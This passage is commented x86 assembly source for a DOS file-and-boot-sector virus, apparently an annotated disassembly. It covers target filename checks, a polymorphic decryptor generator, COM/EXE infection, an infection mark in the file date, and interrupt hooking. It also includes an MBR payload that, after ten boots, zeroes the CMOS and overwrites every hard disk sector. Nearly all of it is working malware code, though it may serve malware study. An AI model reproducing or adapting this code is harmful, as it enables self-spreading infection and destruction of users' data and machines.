		mov     cx,end_gdi-end_command
		call    cmp_strings     ; GDI.EXE?
		jc      invalid_fname   ; Yes? then jmp
		mov     si,bp
		mov     di,offset(end_dosx)
		mov     cx,end_dosx-end_gdi
		call    cmp_strings     ; DOSX.EXE?
		jc      invalid_fname   ; Yes? then jmp
		mov     si,bp
		mov     di,offset(end_win386)
		mov     cx,end_win386-end_dosx
		call    cmp_strings     ; WIN386.EXE?
		jc      invalid_fname   ; Yes? then jmp
		mov     si,bp
		mov     di,offset(end_krnl286)
		mov     cx,end_krnl286-end_win386
		call    cmp_strings     ; KRNL286.EXE?
		jc      invalid_fname   ; Yes? then jmp
		mov     si,bp
		mov     di,offset(end_krnl386)
		mov     cx,end_krnl386-end_krnl286
		call    cmp_strings     ; KRNL386.EXE?
		jc      invalid_fname   ; Yes? then jmp
		mov     si,bp
		mov     di,offset(bad_end_user) ; BUG!!!! offset(end_user)
		mov     cx,end_user-end_krnl386
		call    cmp_strings     ; USER.EXE? (BUG)
		jc      invalid_fname   ; Yes? then jmp
		mov     si,bp
		mov     di,offset(end_wswap)
		mov     cx,end_wswap-end_user
		call    cmp_strings     ; WSWAP.EXE?
		jc      invalid_fname   ; Yes? then jmp
		clc                     ; Valid filename     
invalid_fname:
		ret     

get_file_encryption:
		push    cs
		pop     ds
		mov     ofs_virus,offset(length_virus)-offset(l_mask)
		call    lseek
		mov     ah,3Fh
		mov     dx,offset(code_mask)
		mov     cx,1
		call    int21h          ; Read 1 byte (encryption mask)
		push    cs
		pop     ds
		mov     ofs_virus,offset(length_virus)-(offset(prefix_op)+1)
		call    lseek
		mov     ah,3Fh
		mov     dx,offset(ofs_virus)
		mov     cx,1
		call    int21h          ; Read 1 byte
		cmp     byte ptr ofs_virus,0F6h ; Not encryption?
		je      m_not                   ; Yes? then jmp
		cmp     byte ptr ofs_virus,80h  ; Xor encryption?
		je      m_xor                   ; Yes? then jmp
		cmp     byte ptr ofs_virus,0D0h ; Ror encryption?
		je      m_ror                   ; Yes? then jmp
		cmp     byte ptr ofs_virus,0FEh ; Dec encryption?
		je      m_dec                   ; Yes? then jmp
m_not:
		mov     crypt_method,1
		ret     
m_xor:
		mov     crypt_method,0
		ret     
m_ror:
		mov     crypt_method,2
		ret     
m_dec:
		mov     crypt_method,3
		ret     

check_if_infected:
		push    cs
		pop     ds
		call    get_file_encryption
		mov     ofs_virus,offset(length_virus)-offset(gdi_exe)
		call    lseek
		mov     ah,3Fh
		mov     dx,offset(ofs_virus)
		mov     cx,2
		call    int21h          ; Read 2 bytes
		mov     si,offset(ofs_virus)
		call    decrypt_bytes
		mov     cx,word ptr gdi_exe
		cmp     cx,ofs_virus    ; Infected file?
		ret     

get_n_di:                               ; Get SI in [0, DI, DI*2]
		call    get_random
		mov     cl,0Eh
		shr     ax,cl           ; AX in [0..3]
		mov     si,di
		mul     si
		mov     si,ax
		sub     si,di           
		jns     not_neg
		neg     si
not_neg:
		ret     

get_1byte_inst:
		call    get_random
		mov     cl,0Eh
		shr     ax,cl           ; AX in [0..3]
		mov     si,ax
		mov     al,byte ptr [si+one_byte_inst]
		ret     

mbr_code:                
		cli     
		xor     ax,ax
		mov     ss,ax
		mov     sp,7C00h
		push    cs
		pop     ds
		mov     cx,end_mbr_code-mbr_code
		mov     bx,7C00h+(st_mbr_enc-mbr_code)
tmbr_code:                
		push    cx
decrypt_mbr:
		xor     byte ptr [bx],0         ; xor byte ptr [bx],mask_mbr
mask_mbr        equ     byte ptr $-1                
		inc     bx
		loop    decrypt_mbr
st_mbr_enc:                
		mov     ax,910h
		mov     es,ax   ; ES:=0910h
		mov     ah,8
		mov     dl,80h
		int     13h     ; Get current drive parameters
		inc     ch      ; Inc max. cylinder
		sub     cl,2    ; Dec*2 max. sector
		mov     dl,80h
		mov     ax,201h
		mov     bx,sp
		int     13h                     ; Read 1 sector             
		inc     word ptr es:[bx]        ; Inc boots counter
		mov     ax,301h
		int     13h                     ; Write sector             
		cmp     word ptr es:[bx],10     ; <10 boots?
		jb      no_activate             ; Yes? then jmp
		mov     word ptr es:[bx],0      ; Reset boots counter
		mov     ax,301h
		int     13h             ; Write 1 sector             
kill_cmos_hd:                
		mov     bp,7C00h
		in      al,21h          ; Interrupt controller, 8259A.
		or      al,2            ; Disable keyboard IRQ
		out     21h,al          ; Interrupt controller, 8259A.
		mov     cx,40h
kill_cmos:
		mov     al,cl
		out     70h,al          ; CMOS Memory
		xor     al,al
		out     71h,al          ; Fill CMOS with zeros         
		loop    kill_cmos
		mov     dl,80h          ; 1st HD
kill_hd:                
		mov     bh,dl
		mov     ah,8
		int     13h     ; Get current drive parameters 
		mov     dl,bh   ; DL:=80h
		mov     al,cl
		mov     cx,101h ; Start in cylinder 1, sector 1
other_cylinder:                
		push    dx
other_head:                
		push    ax
		mov     ah,3
		int     13h     ; Write sector
		pop     ax
		dec     dh      ; dec head
		jnz     other_head
		pop     dx
		cmp     ch,0FFh         ; Cylinder=255?
		pushf   
		inc     ch              ; Inc cylinder
		popf    
		jne     other_cylinder  ; No? then jmp
		xor     ax,ax
		mov     ds,ax                   ; ds:=0
		cmp     byte ptr ds:[475h],1    ; <=1 HD present?
		jbe     continue_killing        ; Yes? then jmp
		inc     dl                      ; Next HD
		jmp     kill_hd                 ; Kill it
continue_killing:
		test    cl,80h          ; More cylinders? 
		jnz     c_768           ; Yes? then jmp
		test    cl,40h          ; More cylinders?
		jnz     c_256           ; Yes? then jmp
		mov     cl,41h          ; Cylinder 256->512
jmp_other_cylinder:
		xor     ch,ch
		jmp     other_cylinder
c_256:
		mov     cl,81h          ; Cylinder 512->768
		jmp     jmp_other_cylinder
c_768:                                        
		mov     cl,0C1h         ; Cylinder 768->1024
		jmp     jmp_other_cylinder

no_activate:
		mov     ax,ds:[413h]    ; Number of KBs
		sub     ax,8            ; Get 8 KB
		mov     cl,6
		shl     ax,cl           ; Calculate base segment
		mov     es,ax
		xor     di,di
		pop     cx
		mov     si,sp
		cld
		rep     movsb           ; Move code
		mov     ax,(read_code_from_disk-mbr_code)
		push    es
		push    ax
		retf            ; jmp read_code_from_disk

read_code_from_disk:                
		mov     ax,end_mbr_code-mbr_code
		mov     cl,4
		shr     ax,cl   ; Calculate relative segment
		inc     ax      ; Next segment
		mov     bx,cs
		add     ax,bx   ; Calculate absolute segment
		mov     es,ax   ; Base segment for code
		mov     ah,8
		mov     dl,80h
		int     13h     ; Get current drive parameters
		inc     ch
		mov     dl,80h
		sub     cl,0Eh
		mov     ax,20Ch
		xor     bx,bx
		int     13h     ; Read 12 sectors (code)             
		mov     al,cs:[mask_orig_mbr-mbr_code]
		mov     es:mask_orig_mbr,al
		mov     es:changes_i21,0
		mov     es:loading_dos,0
		mov     ah,cs:[floppy_types-mbr_code]
		mov     es:floppy_types,ah
		mov     dx,0Ah
		mov     al,10h
		out     70h,al          ; CMOS Memory: diskette drive type
		in      al,71h          ; CMOS Memory: read byte
		or      al,al           ; Zero? No floppy?
		jnz     already_enabled ; Yes? then jmp
		mov     dx,6
		mov     al,10h
		call    write_cmos      ; Enable floppy
already_enabled:
		xor     ax,ax
		mov     ds,ax           ; ds:=0
		mov     byte ptr ds:[700h],16h  ; Mark in DOS segment
		mov     bp,cs:[inst_hard-mbr_code]
		mov     ds:[410h],bp
		lds     si,ds:[21h*4]   ; Get int 21h
		cli     
		mov     es:[boot_i21],ds
		sti     
		mov     ds,ax
		lds     si,ds:[1Ch*4]   ; Get int 1Ch
		mov     es:[ofs_1c],si  ; Store it
		mov     es:[seg_1c],ds
		mov     ds,ax
		cli     
		mov     ds:[1Ch*4],offset(int1Ch)       ; Set new int 1Ch
		mov     ds:[1Ch*4+2],es
		sti     
		mov     es,ax
		mov     bx,7C00h
		cmp     dx,0Ah          ; Was the floppy enabled?
		jz      no_read_boot    ; Yes? then jmp
		xor     dx,dx
		int     13h             ; Reset drive A:             
		mov     si,2
try_read_again:
		mov     ax,201h
		mov     cx,1
		int     13h             ; Read sector (boot)
		jnc     exec_boot_mbr
		dec     si
		jnz     try_read_again
no_read_boot:
		mov     ah,8
		mov     dl,80h
		int     13h             ; Get current drive parameters
		inc     ch
		dec     cl
		mov     dl,80h
		mov     ax,201h
		int     13h             ; Read 1 sector (original MBR)
		mov     al,cs:[mask_orig_mbr-mbr_code]
		mov     si,bx
		mov     cx,512
dec_orig_mbr:
		xor     es:[si],al      ; Decrypt original MBR
		inc     si
		loop    dec_orig_mbr
exec_boot_mbr:
		db      0EAh
		dw      7C00h,0         ; jmp far ptr 0:7C00h 
					; Exec original MBR/boot A:

write_cmos:     ; Input:        AL = CMOS address
		;               AH = byte to write
		cli     
		or      al,80h          ; Disable NMI
		out     70h,al          ; CMOS Memory: Select address
		mov     al,ah
		jmp     $+2
		jmp     $+2
		out     71h,al          ; CMOS Memory: Write byte
		mov     al,0
		jmp     $+2
		jmp     $+2
		out     70h,al          ; CMOS Memory: Select address
		sti     
		ret     
		
mask_orig_mbr   db      60h           
;_b2c
floppy_types    db      24h
;_b2d
inst_hard       dw      4461h
chksum_method   db      0
changes_i21     db      2

end_mbr_code:

int1Ch:                
		call    push_registers
		cmp     cs:loading_dos,1        ; Loading DOS?
		je      dos_present             ; Yes? then jmp
		xor     ax,ax
		mov     ds,ax                   ; DS:=0
		cmp     byte ptr ds:[700h],16h  ; Mark present?
		je      no_dos_loaded           ; Yes? then jmp
		mov     cs:loading_dos,1        ; No? then loading DOS
		sub     word ptr ds:[413h],8    ; Get 8 KB
		call    disable_FD
dos_present:
		xor     ax,ax
		mov     es,ax                   ; ES:=0
		mov     ax,cs:boot_i21
		cmp     es:[21h*4+2],ax         ; Int 21h changed? 
		je      no_dos_loaded           ; No? then jmp
		mov     ds,es:[21h*4+2]
		mov     cs:boot_i21,ds          ; Save segment of new i21h
		inc     cs:changes_i21
		cmp     cs:changes_i21,2        ; Two changes?
						; (DOS changes i21h 2 times)
		jne     no_dos_loaded           ; No? then jmp
		push    cs
		pop     es
		mov     di,offset(_header)
		xor     al,al
		mov     cx,115h
		cld     
		rep stosb               ; Clear data area
		push    cs
		pop     ds
		mov     al,13h
		call    get_int_vector          ; Get int 13h
		mov     ofs_i13,bx              ; Store it
		mov     seg_i13,es
		call    set_ints                ; Initialize ints
		push    cs
		pop     ds
		xor     ax,ax
		mov     es,ax                   ; ES:=0
		lds     di,dword ptr ofs_1c
		cli     
		mov     es:[1Ch*4],di           ; Restore int 1Ch
		mov     es:[1Ch*4+2],ds
		add     word ptr es:[413h],8    ; Return the 8 KB to the
						;  system (the DOS is loaded
						;  and will not use them)
		sti     
no_dos_loaded:
		call    pop_registers
		iret    

read_cmos:                              ; Input:        AL = address to read
					; Output:       AH = byte from CMOS
		or      al,80h          ; Disables NMI
		cli     
		out     70h,al          ; CMOS Memory: Select address
		call    waste_time
		in      al,71h          ; CMOS Memory: Read byte
		mov     ah,al
		mov     al,0
		call    waste_time
		out     70h,al          ; CMOS Memory: Select address 0
		sti     
		ret     

set_ints:
		push    cs
		pop     ds
		mov     flags,80h
		mov     point,'.'
		mov     jmp_virus,0E9h  ; jmp opcode
		mov     al,21h
		call    get_int_vector  ; Get int 21h
		mov     ofs_i21,bx      ; Store it
		mov     seg_i21,es
		mov     al,13h
		call    get_int_vector  ; Get int 13h
		mov     ofs_i13_2,bx    ; Store it
		mov     seg_i13_2,es
		xor     ax,ax
		mov     ds,ax           ; DS:=0
		cli     
		mov     word ptr ds:[21h*4],offset(int_21)      ; Set new i21
		mov     ds:[21h*4+2],cs
		mov     word ptr ds:[20h*4],offset(int_20)      ; Set new i20
		mov     ds:[20h*4+2],cs
		mov     word ptr ds:[27h*4],offset(int_27)      ; Set new i27
		mov     ds:[27h*4+2],cs
		sti     
		call    patch_i13
		ret     

disable_FD:
		test    cs:flags,2      ; Permission to disable floppy?
		jnz     no_disable_fd   ; No? then jmp
		cmp     cs:chksum_method,2      ; Known checksum method?
		je      no_disable_fd           ; No? then jmp
		push    ax
		mov     ax,10h
		call    write_cmos              ; Disable FD from CMOS
		call    write_CMOS_chksum       ; Calculate new checksum
		pop     ax
no_disable_fd:
		ret     

enable_FD:
		cmp     cs:chksum_method,2      ; Known checksum CMOS method?
		je      no_change_cmos          ; No? then jmp
		push    ax
		mov     ah,cs:floppy_types
		mov     al,10h
		call    write_cmos              ; Enable FD drives
		call    write_CMOS_chksum       ; Restore cmos checksum
		pop     ax
no_change_cmos:
		ret     

write_CMOS_chksum:
		call    push_registers
		cmp     cs:chksum_method,1      ; Method 2?
		je      write_CMOS_chksum2      ; Yes? then jmp
		call    calculate_CMOS_checksum_1
		mov     al,2Eh
		mov     ah,dh
		call    write_cmos      ; Store new checksum in CMOS
		mov     al,2Fh
		mov     ah,dl
		call    write_cmos
		jmp     _pops
write_CMOS_chksum2:
		call    calculate_CMOS_checksum_2
		mov     al,32h
		mov     ah,dh
		call    write_cmos      ; Store new checksum in CMOS
		mov     al,33h
		mov     ah,dl
		call    write_cmos
_pops:
		call    pop_registers
		ret     

calculate_CMOS_checksum_1:                                        
		mov     cx,1Eh
		xor     dx,dx
		mov     al,10h
next_cmos_byte:                                        
		mov     bl,al
		call    read_cmos
		mov     al,bl
		inc     al
		push    ax
		xchg    ah,al
		xor     ah,ah
		add     dx,ax           ; Make checksum
		pop     ax
		loop    next_cmos_byte
		ret     

calculate_CMOS_checksum_2:                                        
		mov     cx,22h
		xor     dx,dx
		mov     al,10h
next_byte_CMOS:                                        
		mov     bl,al
		call    read_cmos
		mov     al,bl
		inc     al
		push    ax
		xchg    ah,al
		xor     ah,ah
		xor     dx,ax           ; Make checksum
		pop     ax
		loop    next_byte_CMOS
		ret     

write_virus:
		push    cs
		pop     ds
		push    cs
		pop     es
		mov     di,offset(num_bytes)
		mov     [di],offset(length_virus)       ; Bytes to decrypt
		call    get_random
		mov     cl,0Bh
		shr     ax,cl           ; AX in [0..1Fh]
		add     [di],ax         ; Variable number of bytes to decrypt
		cmp     bp,1            ; COM file?
		jne     write_start_exe ; No? then jmp
		mov     ax,4202h
		xor     cx,cx
		xor     dx,dx
		call    int21h          ; Lseek end
		cmp     ax,1Ch          ; size > 1Ch bytes?
		ja      check_if_big    ; Yes? then jmp
		jmp     _ret_2          ; Stupid jmp!!

check_if_big:
		mov     di,ax
		push    ax
		clc     
		add     ax,offset(vir_end)+495          ; !?
		pop     ax
		jnc     write_start_com ; Too big? No, then jmp
		jmp     _ret_2          ; Stupid jmp!!

write_start_com:
		call    write_jmptovir
		jnb     make_decryptor
		jmp     _ret_2          ; Stupid jmp!!

write_start_exe:
		call    write_header_exe
		jnc     make_decryptor
		jmp     _ret_2          ; Stupid jmp!!

make_decryptor:
		call    get_1byte_inst
		mov     _1cx,al
		mov     di,3
		call    get_n_di        ; Get 0 or 3 or 6 in SI
		add     si,offset(table_reg_source)     ; Source register
		mov     di,offset(r_source)
		cld     
		movsb           ; the mov
		mov     di,offset(r_op)
		movsb           ; the source register
		mov     di,offset(i_inc)
		movsb           ; the inc
		mov     di,4
		call    get_n_di        ; Get 0 or 4 or 8 in SI
		add     si,offset(table_reg_index)      ; Index register
		mov     di,offset(r_index)
		movsb           ; the mov
		mov     di,offset(d_loop)
		movsb           ; Store dec+jne or loop+garbage
		movsw
		call    get_random
		mov     cl,0Eh
		shr     ax,cl           ; AX in [0..3]: get encrytion method
		mov     crypt_method,al
		call    get_random
		mov     cl,0Fh
		shr     ax,cl           ; AX in [0..1]
		jnz     no_xchg_inst
		mov     di,offset(xchg1)        ; xchg 2 instructions
		mov     si,offset(r_index)
		push    di
		push    si
		movsw
		movsw
		movsw
		pop     di              ; DI:=offset(xchg1)
		mov     si,offset(xchg2)
		movsw
		movsb
		pop     si
		movsw
		movsb
no_xchg_inst:
		cmp     crypt_method,0          ; Xor?
		jz      enc_met_xor             ; Yes? then jmp
		cmp     crypt_method,1          ; Not?
		jz      enc_met_not             ; Yes? then jmp
		cmp     crypt_method,2          ; Rol?
		jz      enc_met_rol             ; Yes? then jmp
		cmp     crypt_method,3          ; Dec?
		jz      enc_met_inc             ; Yes? then jmp
enc_met_xor:
		mov     prefix_op,802Eh         ; xor cs:
		jmp     decryptor_done
enc_met_not:
		mov     prefix_op,0F62Eh        ; not cs:
		call    get_1byte_inst
		mov     l_mask,al               ; Don't need a mask
		sub     r_op,20h
		jmp     decryptor_done
enc_met_inc:
		mov     prefix_op,0FE2Eh        ; inc cs:
		call    get_1byte_inst
		mov     l_mask,al               ; Don't need a mask
		sub     r_op,30h
		jmp     decryptor_done

enc_met_rol:
		mov     prefix_op,0D02Eh        ; rol cs:
		call    get_1byte_inst
		mov     l_mask,al               ; Don't need a mask
		sub     r_op,30h
decryptor_done:
		cmp     bp,1                    ; COM file?
		jne     encrypt_code_and_write  ; No? then jmp       
						;  In EXE we need SEG CS:
		mov     ax,offset(encrypt_code_and_write)
		push    ax
		call    get_random
		mov     cl,0Eh
		shr     ax,cl           ; AX in [0..3]: Get segment prefix
		cmp     al,1            ; Seg SS?
		je      seg_ss          ; Yes? then jmp
		cmp     al,2            ; Seg ES?
		je      seg_es          ; Yes? then jmp
		cmp     al,3            ; Seg CS?
		je      seg_cs          ; Yes? then jmp
		call    get_1byte_inst  ; if al=0
		mov     byte ptr prefix_op,al   ; Subst CS: by one byte inst.
		ret                             ; jmp encrypt_code_and_write     
seg_es:
		mov     byte ptr prefix_op,26h  ; SEG ES:
		ret                             ; jmp encrypt_code_and_write
seg_cs:
		mov     byte ptr prefix_op,2Eh  ; SEG CS:
						; BUG!!!! Already CS:
						; It would be DS: (3Eh)
		ret                             ; jmp encrypt_code_and_write
seg_ss:
		mov     byte ptr prefix_op,36h  ; SEG SS:
		ret                             ; jmp encrypt_code_and_write

encrypt_code_and_write:
		mov     dx,offset(buffer_enc)
		mov     cl,4
		shr     dx,cl           ; Calculate base address
		inc     dx
		push    cs
		pop     ax
		add     ax,dx
		mov     es,ax
get_no_zero:
		call    get_random
		or      al,al           ; Zero? 
		jz      get_no_zero     ; Yes? then jmp
		cmp     crypt_method,0  ; XOR? Need a mask
		jnz     not_mask        ; No? then jmp
		mov     cs:l_mask,al    ; Store mask
		mov     dl,al
not_mask:
		push    dx
		mov     ax,4202h
		xor     cx,cx
		xor     dx,dx
		call    int21h          ; Lseek end
		mov     ah,40h
		xor     dx,dx
		mov     cx,offset(code_enc)
		mov     si,cx
		call    int21h          ; Write decryptor to file
		pop     dx
		xor     di,di
enc_next_byte:
		lodsb
		cmp     crypt_method,1  ; Not?
		jz      _not            ; Yes? then jmp
		cmp     crypt_method,0  ; Xor?
		jz      _xor            ; Yes? then jmp
		cmp     crypt_method,2  ; Rol?
		jz      _rol            ; Yes? then jmp
		cmp     crypt_method,3  ; Inc?
		jz      _inc            ; Yes? then jmp
_xor:
		xor     al,dl
		jmp     enc_byte
_not:
		not     al
		jmp     enc_byte
_inc:
		dec     al
		jmp     enc_byte
_rol:
		ror     al,1
enc_byte:
		stosb                   ; Store encrypted byte
		cmp     si,offset(length_virus) ; All encrypted?
		ja      all_encrypted           ; Yes? then jmp
		cmp     di,512          ; Write in blocks of 512 bytes
					; End of a block?
		je      write_512       ; Yes? then jmp
jmp_enc_next:
		jmp     enc_next_byte

write_512:
		push    ds
		push    es
		push    dx
		mov     ah,40h
		push    es
		pop     ds
		mov     cx,di
		xor     dx,dx
		call    int21h          ; Write an encrypted 512-block
		jc      _ret_2
		pop     dx
		pop     es
		pop     ds
		xor     di,di
		jmp     jmp_enc_next

all_encrypted:
		mov     ah,40h
		mov     cx,di
		dec     cx
		xor     dx,dx
		push    es
		pop     ds
		call    int21h          ; Write last block
		mov     ax,cs:f_date
		rcr     ah,1
		pushf   
		add     ah,100          ; Mark infected (add 100 years)
		popf    
		rcl     ah,1
		mov     cs:f_date,ax
		clc     
_ret_2:
		ret     

cmp_3bytes:
		mov     cx,3
		cld     
		rep     cmpsb
		ret     

exe_or_com?:
		push    cs
		pop     es
		mov     si,dx
		call    end_fname       ; filename.ext
					;             ^ SI
		sub     si,3            ; filename.ext
					;          ^SI
		mov     di,offset(ext_com)
		push    si
		call    cmp_3bytes      ; COM?
		pop     si
		jne     cmp_exe         ; No? then jmp
		mov     bp,1
		ret     

cmp_exe:
		mov     di,offset(ext_exe)
		push    si
		call    cmp_3bytes      ; EXE?
		pop     si
		jne     not_execom      ; No? then jmp
		mov     bp,3
		ret     
not_execom:                                        
		xor     bp,bp
		ret     

get_random:                             ; Get random number in AX
		xor     al,al
		out     43h,al          ; Timer 8253-5 (AT: 8254.2).
		in      al,40h          ; Timer 8253-5 (AT: 8254.2).
		mov     ah,al
		in      al,40h          ; Timer 8253-5 (AT: 8254.2).
		ret     

make_fname:
		push    si
		push    di
		push    es
		push    cx
		push    ax
		mov     si,dx
		inc     si
		mov     cx,8
		mov     di,offset(filename)
		push    cs
		pop     es
		rep     movsb           ; Store name
		mov     si,dx
		add     si,9
		mov     cx,3
		mov     di,offset(filename_ext)
		rep     movsb           ; Store extension
		push    cs
		pop     ds
		mov     dx,offset(filename)
		call    normalize_fname
		pop     ax
		pop     cx
		pop     es
		pop     di
		pop     si
		ret     

host_type       db      1       ; 1 = COM 
				; 3 = EXE

table_reg_source:                
		db      0BBh    ; mov bx,????
		db      37h     ; reg BX
		inc     bx

		db      0BEh    ; mov si,????
		db      34h     ; reg SI
		inc     si

		db      0BFh    ; mov di,????
		db      35h     ; reg DI
		inc     di
;100C                
table_reg_index:
; Using AX
		db      0B8h    ; mov ax,????
		dec     ax
		jne     $-6
; Using CX                
		db      0B9h    ; mov cx,????
		loop    $-5
_1cx            equ     byte ptr $      ; 1 byte instruction
		clc     
; Using DX                
		db      0BAh    ; mov dx,????
		dec     dx
		jne     $-6

one_byte_inst:                
		nop     
		std     
		cld     
		clc     

read_header:
		mov     ah,3Fh
		mov     cx,1Ch
		push    cs
		pop     ds
		mov     dx,offset(_header)
		call    int21h          ; Read file header
		ret     

get_ofs_fname:
		push    cs
		pop     ds
		mov     ah,30h
		call    int21h          ; Get DOS version
		mov     ofs_sft,20h
		xchg    ah,al
		cmp     ax,300h         ; DOS 3.0?
		jne     not_inc_offset  ; No? then jmp
		inc     ofs_sft         ; ofs_sft:=21h
not_inc_offset:
		ret     

end_fname:              ; Output:       SI points to end of filename 
		
		mov     cx,43h
search_end_fname:                       ; Search end of filename (0)
		mov     al,[si]
		or      al,al           ; Zero?
		jz      end_asciiz      ; Yes? then jmp
		inc     si
		loop    search_end_fname
end_asciiz:
		ret     

int21h:
		pushf   
		call    dword ptr cs:ofs_i21
		ret     

int13h:                                        
		pushf   
		call    dword ptr cs:ofs_i13
		ret     

int13hbp:                                        
		pushf   
		call    dword ptr cs:[bp+ofs_i13]
		ret     

int24h:
		mov     al,3
_iret:                
		iret

set_i24_i1B_i23:                                        
		push    ds
		push    cs
		pop     ds
		push    bx
		mov     ax,3524h
		call    int21h          ; Get int 24h
		mov     [ofs_i24],bx    ; Save it
		mov     [seg_i24],es
		mov     al,1Bh
		call    int21h          ; Get int 1Bh
		mov     [ofs_i1b],bx    ; Save it
		mov     [seg_i1b],es
		mov     al,23h
		call    int21h          ; Get int 23h
		mov     [ofs_i23],bx    ; Save it
		mov     [seg_i23],es
		pop     bx
		push    ax
		push    dx
		mov     ax,2524h
		mov     dx,offset(int24h)
		call    int21h          ; Set new int 24h
		mov     al,1Bh
		mov     dx,offset(_iret)
		call    int21h          ; Set new int 1Bh (iret)
		mov     al,23h
		mov     dx,offset(_iret)
		call    int21h          ; Set new int 23h (iret)
		pop     dx
		pop     ax
		pop     ds
		ret     


restore_i24_i1b_i23:
		mov     ax,2524h
		lds     dx,dword ptr cs:ofs_i24
		call    int21h          ; Restore int 24h
		mov     al,1Bh
		lds     dx,dword ptr cs:ofs_i1b
		call    int21h          ; Restore int 1Bh
		mov     al,23h
		lds     dx,dword ptr cs:ofs_i23
		call    int21h          ; Restore int 23h
		ret     

write_jmptovir:                                        
		push    cs
		pop     ds
		push    cs
		pop     es
		push    di
		mov     si,offset(_header)
		mov     di,offset(header)
		cld     
		movsw           ; Save original bytes (3)
		movsb
		pop     di
		mov     ax,4200h
		xor     cx,cx
		xor     dx,dx
		call    int21h          ; Lseek start
		mov     ofs_virus,di
		push    di
		sub     ofs_virus,3
		mov     ah,40h
		mov     cx,3
		mov     dx,offset(jmp_virus)
		call    int21h          ; Write jmp
		mov     host_type,1     ; COM file
		pop     di
		add     di,100h         ; Calculate delta offset
		mov     delta,di
		add     di,offset(code_enc)     ; Where encrypted code starts
		mov     st_code_enc,di
		clc     
		ret     
		
write_header_exe:
		push    cs
		pop     ds
		push    cs
		pop     es
		mov     si,offset(_header)
		push    si
		mov     di,offset(header)
		mov     cx,1Ch
		cld
		rep     movsb           ; Store header
		pop     si
		mov     ax,[si+(_pagecnt-_header)]
		mov     dx,512
		dec     ax
		mul     dx              ; (pagecnt-1)*512
		mov     length_hi,dx
		mov     dx,[si+(_partpag-_header)]
		clc     
		add     ax,dx           ; File size:=(pagecnt-1)*512+partpag
		adc     length_hi,0
		mov     length_lo,ax
		xor     cx,cx
		mov     dx,cx
		mov     ax,4202h
		call    int21h          ; Lseek end (get real length)
		sub     ax,length_lo
		sbb     dx,length_hi    ; File has internal overlays?
		jz      no_overlays     ; No? then jmp
		jmp     stc_ret
no_overlays:
		push    bx
		mov     ax,4202h
		xor     cx,cx
		mov     dx,cx
		call    int21h          ; Lseek end
		push    ax              ; Save length
		push    dx
		mov     ax,[si+(_hdrsize-_header)]
		mov     cl,4
		shl     ax,cl           ; mul 16 = size of header
		xchg    ax,bx
		pop     dx              ; Get length
		pop     ax
		push    ax
		push    dx
		sub     ax,bx           ; Sub size of header
		sbb     dx,0
		mov     cx,10h
		div     cx              ; Calculate initial paragraph
		mov     [si+(_exeip-_header)],dx
		mov     [si+(_relocs-_header)],ax
		pop     dx
		pop     ax
		add     ax,offset(length_virus) ; New file length
		adc     dx,0
		mov     cl,9
		push    ax
		shr     ax,cl           ; div 512
		ror     dx,cl
		stc     
		adc     dx,ax
		pop     ax
		and     ah,1
		mov     [si+(_pagecnt-_header)],dx
		mov     [si+(_partpag-_header)],ax
		pop     bx
		clc     
		add     word ptr [si+(_minmem-_header)],39h  ; why 39h?????     
				; (offset(vir_end)-length_virus+15)/16 (?)
		jnc     nosub_minmem
		sub     word ptr [si+(_minmem-_header)],39h
nosub_minmem:
		clc     
		add     word ptr [si+(_maxmem-_header)],39h
		jnc     nosub_maxmem
		sub     word ptr [si+(_maxmem-_header)],39h
nosub_maxmem:
		mov     cl,4
		mov     ax,offset(end_virdata)
		shr     ax,cl           ; div 16
		mov     dx,[si+(_relocs-_header)]
		add     ax,dx           ; Segment of stack
		mov     [si+(_reloss-_header)],ax
		mov     word ptr [si+(_relosp-_header)],vstack-end_virdata
		xor     cx,cx
		mov     dx,cx
		mov     ax,4200h
		call    int21h          ; Lseek start
		mov     dx,si
		mov     ah,40h
		mov     cx,1Ch
		call    int21h          ; Write header
		mov     dx,[si+(_exeip-_header)]
		mov     delta,dx                ; Delta offset
		add     dx,offset(code_enc)     ; Where encrypted code starts
		mov     st_code_enc,dx
		mov     host_type,3     ; EXE file
		clc     
		ret     
		
stc_ret:                                        
		stc     
		ret     

disinfect_file:
		call    push_registers
		pushf   
		call    normalize_fname
		call    set_i24_i1B_i23
		mov     cs:seg_fname,ds
		mov     cs:ofs_fname,dx
		call    get_reset_attr
		jc      r_ints
		call    exe_or_com?
		or      bp,bp           ; Exe or Com?
		jz      r_ints          ; No? then jmp
		mov     ax,3D02h
		call    int21h          ; Open I/O
		jc      r_ints
		mov     bx,ax           ; bx:=handle
		call    read_header
		call    check_if_exe
		call    get_ftime
		call    check_if_infected       ; Infected?
		jnz     close_file              ; Yes? then jmp
		call    get_file_encryption
		cmp     bp,1                    ; COM file?
		jne     jmp_disinfect_exe       ; No? then jmp
		call    disinfect_com
		jmp     quit_inf_mark

jmp_disinfect_exe:
		call    disinfect_exe
quit_inf_mark:
		mov     ax,cs:f_date
		rcr     ah,1
		pushf   
		sub     ah,100          ; Quit mark
		popf    
		rcl     ah,1
		mov     cs:f_date,ax
close_file:
		call    restore_ftime
		mov     ah,3Eh
		call    int21h          ; Close file
		mov     ds,cs:seg_fname
		mov     dx,cs:ofs_fname
		call    restore_attr
r_ints:
		call    restore_i24_i1b_i23
		popf    
		call    pop_registers
		ret     

lseek:
		mov     ax,4202h
		xor     cx,cx
		xor     dx,dx
		call    int21h          ; Lseek end
		mov     cx,dx
		mov     dx,ax
		sub     dx,cs:ofs_virus
		mov     ax,4200h
		call    int21h          ; Lseek to length(file)-ofs_virus
		ret     

truncate_file:                                        
		mov     cs:ofs_virus,offset(length_virus)
		call    lseek           ; Lseek to start of viral code
		mov     ah,40h
		xor     cx,cx
		call    int21h          ; Truncate file (original size)
		ret     

disinfect_com:
		mov     cs:ofs_virus,1Ch
		call    lseek           ; Lseek to length(file)-1Ch
		mov     ah,3Fh
		mov     cx,3
		push    cs
		pop     ds
		mov     dx,offset(_3bytes)
		push    dx
		call    int21h          ; Read original 3 bytes
		mov     ax,4200h
		xor     cx,cx
		xor     dx,dx
		call    int21h          ; Lseek start
		mov     al,code_mask
		pop     si
		push    si
		mov     cx,3
		push    cx
		call    decrypt_bytes   ; Decrypt original 3 bytes
		pop     cx
		pop     dx
		mov     ah,40h
		call    int21h          ; Restore host
		call    truncate_file   ; Truncate to original size
		ret     

int25:                
		mov     cs:inout_flag,1
		call    dword ptr cs:ofs_i25
		mov     cs:inout_flag,0
		retf    

int26:                
		mov     cs:inout_flag,1
		call    dword ptr cs:ofs_i26
		mov     cs:inout_flag,0
		retf    

mark_activity:
		mov     cs:inout_flag,0
		mov     cs:tick_value,8*18      ; 8 seconds
		mov     cs:tick_counter,0
		ret     

